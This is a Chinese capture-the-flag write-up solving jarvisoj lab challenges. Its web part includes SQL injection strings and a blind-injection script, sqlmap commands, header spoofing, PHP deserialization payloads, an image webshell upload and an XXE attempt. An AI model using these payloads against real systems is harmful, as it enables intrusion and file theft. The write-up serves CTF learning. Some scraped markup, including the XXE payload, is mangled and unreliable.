jarvisoj WEB +MISC writeup

WEB

PORT 51

打开后发现需要利用51端口进行访问呢
这里写图片描述

直接利用curl命令访问即可
jarvisoj WEB +MISC writeup_第1张图片

命令用法

curl –local-port 51 http://xx

flag:PCTF{M45t3r_oF_CuRl}

Login

打开后是一个输入框,随便输入,尝试抓包,得到hintHint: "select * from `admin` where password='".md5($pass,true)."'"

直接百度,得到一个博客
直接输入字符串ffifdyop得到flag

LOCALHOST

看来需要localhost access only!!直接利用Modify Headers直接加上X-Forwarded-For: 127.0.0.1即可

神盾局的秘密

打开是一张图片,直接抓包
jarvisoj WEB +MISC writeup_第2张图片

会发现有个base64编码的地址,猜测这是利用base64访问任意文件
访问showimg.php


    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

访问index.php

 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

查看shield.php


    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

看到源码可以知道这是一个序列化的漏洞,直接按照格式生成一个,payload


    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
    }
    $a = new Shield();
    $a->file = "pctf.php";
    echo serialize($a);
?>

得到

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

flag

 
    //Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
    //Fake flag:
    echo "FLAG: PCTF{I_4m_not_fl4g}"
?>

IN a mess

查看源码得到提示index.phps,访问得

?php

error_reporting(0);
echo "";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>

因为eregi遇%00截断,所以构造b=%0011111
根据弱类型比较可构造id=0a
比较复杂的就是a的构造,需要a为一个文件,且内容为1112 is a nice lab!,经过百度,可以将此保存1.txt在自己的服务器上,然后根据10进制ip绕过.,另一个就是利用伪协议绕过
完整payload
jarvisoj WEB +MISC writeup_第3张图片

得到^HT2mCpcvOLf似乎是地址,访问却啥也没有,但后面补全了id,猜测sql注入
试了试,的确有waf防御
过滤了空格等,但像关键字值过滤一次,所以可以双写绕过
共有3列,显示位为第三列
jarvisoj WEB +MISC writeup_第4张图片

表名content
这里写图片描述

列名id、context、title
这里写图片描述

得到flag
jarvisoj WEB +MISC writeup_第5张图片

打开后测试一下,发现是一道上传图片的题,并且极有可能是文件包含,地址很像

http://web.jarvisoj.com:32785/index.php?page=submit

先随便上传一个照片
jarvisoj WEB +MISC writeup_第6张图片

发现访问照片的地址是uploads,再联想文件包含,这是开始构造一句话木马
这里为了方便我直接利用edjpgcom工具构造
当尝试上传一个图片马的时候,出现警告
这里写图片描述

需要用%00截断一下
这里写图片描述

结果被阻止啦,看来不能行使形式,直接用
出现flag
jarvisoj WEB +MISC writeup_第7张图片

Simple Injection

方法一

打开后尝试用AWVS扫描,发现username有一个注入点
jarvisoj WEB +MISC writeup_第8张图片

尝试用sqlmap去跑,直接用sqlmap.py -u http://web.jarvisoj.com:32787/login.php
发现有错,无奈只能在本地运行
sqlmap.py -r D:\工具\sqlmap\sqlmapproject-sqlmap-aa21550\text.txt
jarvisoj WEB +MISC writeup_第9张图片

然后直接利用sqlmap命令注入
sqlmap.py -r D:\工具\sqlmap\sqlmapproject-sqlmap-aa21550\text.txt -p username --tamper=space2comment --dump --batch
jarvisoj WEB +MISC writeup_第10张图片

得到账号密码,解码得到密码为eTAloCrEP
输入用户名密码登陆即得flag

方法二

首先输入admin/admin试试,发现报的是密码错误,再尝试1/1,发现报的是用户名错误,这是就可以知道,这个验证机制是先验证用户名,当用户名正确时在验证密码
然后利用admin/admin测试一下过滤了那些可用字符
jarvisoj WEB +MISC writeup_第11张图片

可以使用' #
jarvisoj WEB +MISC writeup_第12张图片

jarvisoj WEB +MISC writeup_第13张图片

发现只是简单的过滤了空格
jarvisoj WEB +MISC writeup_第14张图片

看来是利用报错注入,且一般的字符都没有过滤
先手工猜测一下库表名
admin'/*1*/or/*1*/exists(select/*1*/*/*1*/from/*1*/admin)#
密码报错,说明有admin表
admin'/*1*/or/*1*/exists(select/*1*/username,password/*1*/from/*1*/admin)#
密码报错,说明有username、password
admin'/*1*/or/*1*/exists(select/*1*/count(*)/*1*/from/*1*/admin)#说明只有一个用户名密码
不管长度了,直接设置长一点,开始脚本

import requests

dic='#123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM_'
flag = ''

for i in range(1,40):
    for j in dic:
        url = 'http://web.jarvisoj.com:32787/login.php'
        con = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#".format(i,ord(j))
        #con = "admin'/*1*/or/*1*/exists(select/*1*/count(*)/*1*/from/*1*/admin)#"
        #print con
        data = {'username':con,
                'password':1}
        s=requests.post(url=url,data=data)
        length = len(s.text)
        #print length
        if length > 1191:
            flag+=j
            print flag
            break

print flag

jarvisoj WEB +MISC writeup_第15张图片

本来想直接提交的发现不对,然后看了一下长度,发下是32位,试下md5解密
jarvisoj WEB +MISC writeup_第16张图片

登陆即可
jarvisoj WEB +MISC writeup_第17张图片

api的调用

打开直接看源码

<html>
<head>
<link href="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css" rel="stylesheet"/>
<script src="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js">script>
head>
<body>
<div class="show">
<textarea id="tip-area" width=100px height=50px disabled>textarea>
div>
<div class="control-area">
<input id="evil-input" type="text" width=100px height=50px value="type sth!"/>
<button class="btn btn-default" type="button" onclick="send()">Go!button>
div>
<script>
function XHR() { //创建一个XML对象
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);//服务器发送请求
     xhr.onreadystatechange = function () { //onreadystatechange是一个函数 的句柄
         if (xhr.readyState==4 && xhr.status==201) { // readyState为状态码, 只有状态码为4时执行代码 
             data = JSON.parse(xhr.responseText);  //将异步返回值转换为JSON 格式 
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}'); // 将数据传到服务器上 
}
script>
body>
html>

通过分析里面的JS代码可以知道这有XHL对象,通过查阅资料
(https://segmentfault.com/a/1190000002782175)
可以知道关于Ajax的运用
(http://open.chrome.360.cn/extension_dev/xhr.html)

抓包
jarvisoj WEB +MISC writeup_第18张图片

这篇讲述了xhr.readyState==4会产生危险
查找关于XML的攻击
(http://blog.csdn.net/u013224189/article/details/49759845)

xml entity 可以读取外置文件,其实entity作用相当于定义全局变量和引用外部文件

]>引用外部文件
]> 全局变量

在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事

得到payload:

 
 ]><foo>&xxe;foo>

Content - Type:application/json中的json改为xml,可以让服务器解析XML
通过Burpsuite上传得到flag
jarvisoj WEB +MISC writeup_第19张图片

PHPINFO

打开是源码


//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

这是一道PHP序列化漏洞的题,三种类型如下链接学习
(http://www.tuicool.com/articles/zEfuEz)

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize(php>=5.5.4) 经过 serialize() 函数反序列处理的数组

首先先本地测试一下效果
首先test.php

 
ini_set('session.serialize_handler', 'php_serialize'); 
session_start(); 
$_SESSION["Ni9htMar3"]=$_GET["a"]; 
?>

这里写图片描述

test1.php

 
ini_set('session.serialize_handler', 'php'); 
session_start(); 
class Ni9htMar3 
{ 
    public $haha;
    function __construct()
    { 
        //$this->haha = 'echo "Hacked!";';
        $this->haha = 'phpinfo();';         
    } 
    function __destruct() 
    { 
        eval($this->haha); 
    } 
} 
//$m = new Ni9htMar3();
//echo serialize($m);
//|O:9:"Ni9htMar3":1:{s:4:"haha";s:15:"echo "Hacked!";";}
?>

jarvisoj WEB +MISC writeup_第20张图片

这说明Hacked成功

先构造一个上传界面

"http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data"> "hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> "file" name="file" /> "submit" />

随便上传一个东西
jarvisoj WEB +MISC writeup_第21张图片

然后修改filename
首先看看文件地址,注意转义

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

jarvisoj WEB +MISC writeup_第22张图片

看着目录,继续

`|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}`

jarvisoj WEB +MISC writeup_第23张图片

发现目标

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

找到flag
jarvisoj WEB +MISC writeup_第24张图片


MISC

misc100

这一题的确是个福利题…并没有涉及到dex函数隐藏等小技巧,只是简单的使用proguard进行了混淆。可以静态也可动态(动态先改掉debug检测,还不如直接静态看一下),那么,关键部分源码:

private void getKey(){
    try {
        InputStream stream = this.getResources().getAssets().open("url.png");
        int v = stream.available();
        byte[] bs = new byte[v];
        stream.read(bs, 0, v);
        byte[] keybyte = new byte[16];
        System.arraycopy(bs, 144, keybyte, 0, 16);
        this.key = new String(keybyte, "utf-8");
    }
    catch (Exception e){
        e.printStackTrace();
    }
    //code
}
private String handle(String naive){
    try {
        naive.getBytes("utf-8");
        StringBuilder str = new StringBuilder();
        for (int i = 0; i < naive.length(); i += 2) {
            str.append(naive.charAt(i + 1));
            str.append(naive.charAt(i));
        }
        return str.toString();
    }catch (UnsupportedEncodingException e){
        e.printStackTrace();
    }
    return null;
}        
protected void Encryption(byte[] key){
    try {
        if (key == null) {
            byte[] bytes = "".getBytes("utf-8");
            MessageDigest messageDigest = MessageDigest.getInstance("MD5");
            byte[] bytes1 = messageDigest.digest(bytes);
            secretKeySpec = new SecretKeySpec(bytes1, "AES");
            cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        }
        else {
            secretKeySpec = new SecretKeySpec(key, "AES");
            cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        }
    }except{
        //...
    }
}

从url.png中获得key,然后使用handle函数进行处理(奇偶位互换)作为最终AES加密的key。flag密文:

byte[] bye = {21,-93,-68,-94,86,117,-19,-68,-92,33,50,118,16,13,1,-15,-13,3,4,103,-18,81,30,68,54,-93,44,-23,93,98,5,59};
new String(bye);

使用AES/ECB/PKCS5Padding,用key对选手输入进行加密,结果与flag密文进行比对;
故解密时只需
init(Cipher.DECRYPT_MODE, secretKeySpec);
对flag密文进行解密即可。
flag:LCTF{1t's_rea1ly_an_ea3y_ap4}

上帝之音

这是一段神奇的声音,可是上帝之音似乎和无字天书一样,是我们这些凡人无法理解的,你能以上帝的角度,理解这段WAV的含义么?
Hint1: 你们做音频题都不喜欢看时域图?
Hint2: 在数据传输过程中,我们往往会使用一种自带时钟的编码以减少误码率
godwave.wav.26b6f50dfb87d00b338b58924acdbea1

Audacity 打开就是一段稀奇古怪的音频信号,仔细观察,发现不同段落其幅值有明显差异,应该是调幅了,MATLAB 导入 wav 文件看数据,发现大概是以 64 个点为周期,那么取幅值高的为 1,幅值低的为 0。

clc;
clear;
y = audioread('godwave.wav');
he = 0;
data = [];
for i = 1:length(y)
    he = he + abs(y(i,1));
    if mod(i,64) == 0
        if he > 10
            data = [data,1];
        else
            data = [data,0];
        end
        he = 0;
    end
end
fid = fopen('data.txt','w');
for i = 1:length(data)
    fprintf(fid,'%d',data(1,i));
end
fclose(fid);

解出的数据是曼彻斯特编码,解码后是一张图片。

# coding=utf-8
with open('data.txt', 'r') as f:
    data = f.readline()
    print len(data)
    count = 0
    res = 0
    ans = ''
    key = ""
    while data != '':
        pac = data[:2]
        if pac != '':
            if pac[0] == '0' and pac[1] == '1':
                res = (res<<1)|0
                count += 1
            if pac[0] == '1' and pac[1] == '0':
                res = (res<<1)|1
                count += 1
            if count == 8:
                ans += chr(res)
                count = 0
                res = 0
        else:
            break
        data = data[2:]
with open('out.png', 'wb') as f2:
    f2.write(ans)

扫描二维码即可。


BASIC

-.-字符串

直接莫尔斯解密即得,提交其中32大写md5值

熟悉的声音

明显是莫尔斯密码
jarvisoj WEB +MISC writeup_第25张图片
然后发现没有价值,尝试凯撒解密,得到有意义的字符串
这里写图片描述

未完待续

你可能感兴趣的:(WriteUp)